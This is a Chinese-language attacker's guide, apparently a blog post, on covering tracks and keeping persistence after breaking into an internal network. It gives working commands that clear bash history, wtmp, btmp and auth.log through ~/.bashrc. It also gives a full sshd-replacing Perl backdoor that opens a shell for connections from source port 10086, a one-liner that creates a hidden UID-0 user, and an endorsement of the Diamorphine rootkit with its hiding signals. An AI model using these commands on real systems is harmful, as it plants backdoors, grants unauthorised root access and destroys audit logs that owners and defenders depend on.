清除痕迹 内网攻击的时候,打扫战场很重要。
1 2 3 4 5 6 7 8 9 sed -i '$a echo > ~/.bash_history' ~/.bashrc sed -i '$a history -r' ~/.bashrc sed -i '$a echo > /var/log/wtmp' ~/.bashrc sed -i '$a echo > /var/log/btmp' ~/.bashrc sed -i '$a echo > /var/log/auth.log' ~/.bashrc sed -i '$a unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG WATCH; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0;' ~/.bashrc
权限维持 ssh_wrapper @> SSH Wrapper 后门是一种通过篡改 SSH 程序的方式来实现的恶意访问。它的原理涉及到对 SSH 可执行文件的修改,使其在执行正常的 SSH 连接时,同时执行额外的恶意操作。
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是10086就执行sh给个shell。 简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
1 2 3 4 5 6 7 cd /usr/sbin/ mv sshd ../bin/ echo '#!/usr/bin/perl' >sshd echo $'exec "/bin/sh" if(getpeername(STDIN) =~ /^..\'f/);' >>sshd echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd /etc/init.d/sshd restart
在攻击机执行socat STDIO TCP4:127.0.0.1:22,sourceport=10086即可获得shell 自定义端口可用python的struct库实现:
1 2 3 #!/usr/bin/python2 import struct print repr(struct.pack('>I6',port))
添加root用户 1 useradd -p `openssl passwd -1 -salt 'newuser' 密码` -o -u 0 -g root -G root -s /bin/bash -d 用户目录 用户名
这样会创建出一个权限和root一模一样的用户(实际上UID和GID也是一样的)。
Diamorphine Rootkit Diamorphine是个LKM rootkit。 @> LKM的全称为Loadable Kernel Modules,中文名为可加载内核模块,主要作用是用来扩展 linux 的内核功能。LKM的优点在于可以动态地加载到内存中,无须重新编译内核。由于LKM具有这样的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。当然因为其优点,也经常被骇客用于rootkit技术当中。
项目地址:https://github.com/m0nad/Diamorphine
When loaded, the module starts invisible;
Hide/unhide any process by sending a signal 31;
Sending a signal 63(to any pid) makes the module become (in)visible;
Sending a signal 64(to any pid) makes the given user become root;
Files or directories starting with the MAGIC_PREFIX become invisible;
非常的强大,非常的好用。除了Diamorphine以外还有很多rootkit,其中一部分还有开设一个后门端口的功能(相当于C2).
总结 上方三种方法可以配合着使用,达到加强权限维持的效果。